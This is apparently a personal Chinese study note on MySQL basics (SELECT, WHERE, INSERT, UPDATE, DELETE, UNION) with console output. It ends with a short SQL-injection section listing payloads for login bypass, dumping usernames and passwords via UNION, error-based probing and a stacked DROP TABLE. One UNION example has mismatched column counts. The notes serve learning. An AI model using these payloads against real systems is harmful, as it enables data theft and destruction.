sql

SQL (Structured Query Language:结构化查询语言) 是用于管理关系数据库管理系统(RDBMS)。

SQL 通过一系列的语句和命令来执行数据定义、数据查询、数据操作和数据控制等功能,包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。

RDBMS 指关系型数据库管理系统,全称 Relational Database Management System。

RDBMS 是 SQL 的基础,同样也是所有现代数据库系统的基础,比如 MS SQL Server、IBM DB2、Oracle、MySQL 以及 Microsoft Access。

RDBMS 中的数据存储在被称为表的数据库对象中。

表是相关的数据项的集合,它由列和行组成。

基础操作?

使用了一下菜鸟教程给的sql文件

mysql -u root -p

进入mysql

mysql> show DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| runoob |
| sys |
+--------------------+
5 rows in set (0.00 sec)

(runoob是自己创建的,其他的是系统自带的)

CREATE DATABASE RUNOOB DEFAULT CHARACTER SET utf8;
use RUNOOB;

创建数据库,名字叫做RUNOOB。

然后切换到RUNOOB数据库。

然后准备好sql文件

SOURCE F:\sql_file\websites.sql

导入

mysql> show TABLES;
+------------------+
| Tables_in_runoob |
+------------------+
| websites |
+------------------+
1 row in set (0.00 sec)

查看该数据库的表

mysql> SELECT * FROM websites;
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
+----+--------------+---------------------------+-------+---------+

查看该表所有内容,导入成功

语法

  • SQL 对大小写不敏感:SELECT 与 select 是相同的。
  • 某些数据库系统要求在每条 SQL 语句的末端使用分号。

一些最重要的 SQL 命令

  • SELECT - 从数据库中提取数据
  • UPDATE - 更新数据库中的数据
  • DELETE - 从数据库中删除数据
  • INSERT INTO - 向数据库中插入新数据
  • CREATE DATABASE - 创建新数据库
  • ALTER DATABASE - 修改数据库
  • CREATE TABLE - 创建新表
  • ALTER TABLE - 变更(改变)数据库表
  • DROP TABLE - 删除表
  • CREATE INDEX - 创建索引(搜索键)
  • DROP INDEX - 删除索引

SELECT

SELECT column1, column2, ...
FROM table_name;
SELECT * FROM table_name;
mysql> select name,country
-> from websites;
+--------------+---------+
| name | country |
+--------------+---------+
| Google | USA |
| 淘宝 | CN |
| 菜鸟教程 | CN |
| 微博 | CN |
| Facebook | USA |
+--------------+---------+
5 rows in set (0.00 sec)

SELECT DISTINCT

DISTINCT 关键词用于返回唯一不同的值。

select distinct country from websites;
+---------+
| country |
+---------+
| USA |
| CN |
+---------+
2 rows in set (0.00 sec)

WHERE

SELECT column1, column2, ...
FROM table_name
WHERE condition;
mysql> select * from websites where country='CN';
+----+--------------+-------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+-------------------------+-------+---------+
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
+----+--------------+-------------------------+-------+---------+
3 rows in set (0.00 sec)

sql使用单引号环绕文本值

数字字段不需要

WHERE 子句中的运算符

下面的运算符可以在 WHERE 子句中使用:

运算符 描述
= 等于
<> 不等于。注释:在 SQL 的一些版本中,该操作符可被写成 !=
> 大于
< 小于
>= 大于等于
<= 小于等于
BETWEEN 在某个范围内
LIKE 搜索某种模式
IN 指定针对某个列的多个可能值

AND&OR运算符

AND & OR 运算符用于基于一个以上的条件对记录进行过滤。

mysql> SELECT * FROM Websites
-> WHERE country='USA'
-> OR country='CN';
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
+----+--------------+---------------------------+-------+---------+
5 rows in set (0.00 sec)

也可以使用括号来设置优先级

ORDER BY

SELECT column1, column2, ...
FROM table_name
ORDER BY column1, column2, ... ASC|DESC;
  • **column1, column2, …**:要排序的字段名称,可以为多个字段。
  • ASC:表示按升序排序。
  • DESC:表示按降序排序。
mysql> select * from websites
-> where country='CN'
-> order by alexa;
+----+--------------+-------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+-------------------------+-------+---------+
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
+----+--------------+-------------------------+-------+---------+
3 rows in set (0.00 sec)

INSERT INTO

INSERT INTO 语句用于向表中插入新记录。

INSERT INTO table_name
VALUES (value1,value2,value3,...);
INSERT INTO table_name (column1,column2,column3,...)
VALUES (value1,value2,value3,...);
  • table_name:需要插入新记录的表名。
  • **column1, column2, …**:需要插入的字段名。
  • **value1, value2, …**:需要插入的字段值。
mysql> insert into websites (name,url,alexa,country)
-> values('百度','https://www.baidu.com','4','CN');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 15
Current database: runoob

Query OK, 1 row affected (0.01 sec)

mysql> select * from websites;
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 4689 | CN |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 6 | 百度 | https://www.baidu.com | 4 | CN |
+----+--------------+---------------------------+-------+---------+
6 rows in set (0.00 sec)

UPDATE

UPDATE 语句用于更新表中已存在的记录。

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
  • able_name:要修改的表名称。
  • **column1, column2, …**:要修改的字段名称,可以为多个字段。
  • **value1, value2, …**:要修改的值,可以为多个值。
  • condition:修改条件,用于指定哪些数据要修改。
mysql> update websites
-> set alexa=5000,country='US1'
-> where id=3;
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

mysql> select * from websites;
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 5000 | US1 |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 6 | 百度 | https://www.baidu.com | 4 | CN |
| 7 | no | | 0 | |
+----+--------------+---------------------------+-------+---------+
7 rows in set (0.00 sec)

没有where时,会将所有数据更新!

delete

DELETE FROM table_name
WHERE condition;

DELETE 语句用于删除表中的行。

参数说明:

  • table_name:要删除的表名称。
  • condition:删除条件,用于指定哪些数据要删除。
mysql> select * from websites;
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 5000 | US1 |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 6 | 百度 | https://www.baidu.com | 4 | CN |
| 7 | no | | 0 | |
+----+--------------+---------------------------+-------+---------+
7 rows in set (0.00 sec)

mysql> delete from websites
-> where id=7;
Query OK, 1 row affected (0.00 sec)

mysql> select * from websites;
+----+--------------+---------------------------+-------+---------+
| id | name | url | alexa | country |
+----+--------------+---------------------------+-------+---------+
| 1 | Google | https://www.google.cm/ | 1 | USA |
| 2 | 淘宝 | https://www.taobao.com/ | 13 | CN |
| 3 | 菜鸟教程 | http://www.runoob.com/ | 5000 | US1 |
| 4 | 微博 | http://weibo.com/ | 20 | CN |
| 5 | Facebook | https://www.facebook.com/ | 3 | USA |
| 6 | 百度 | https://www.baidu.com | 4 | CN |
+----+--------------+---------------------------+-------+---------+
6 rows in set (0.00 sec)
DELETE FROM table_name;

可以在不删除表的情况下,删除表中所有的行。

UNION

SQL UNION 操作符合并两个或多个 SELECT 语句的结果。

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。它可以从多个表中选择数据,并将结果集组合成一个结果集。使用 UNION 时,每个 SELECT 语句必须具有相同数量的列,且对应列的数据类型必须相似。

SELECT column1, column2, ...
FROM table1
UNION
SELECT column1, column2, ...
FROM table2;

SQL注入

基础型

输入用户名:admin' OR '1'='1
输入密码:anything
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';

UNION查询注入

' UNION SELECT null, username, password FROM users --
SELECT id, name FROM products WHERE id = '' UNION SELECT null, username, password FROM users --';

结果:

将 users 表的 username 和 password 数据作为结果返回。

错误性sql注入

' AND 1=CONVERT(int, (SELECT @@version)) --
SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --';

错误信息可能暴露数据库版本或其他信息。

盲注

无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。

堆叠查询注入

'; DROP TABLE users; --
SELECT * FROM users WHERE username = ''; DROP TABLE users; --';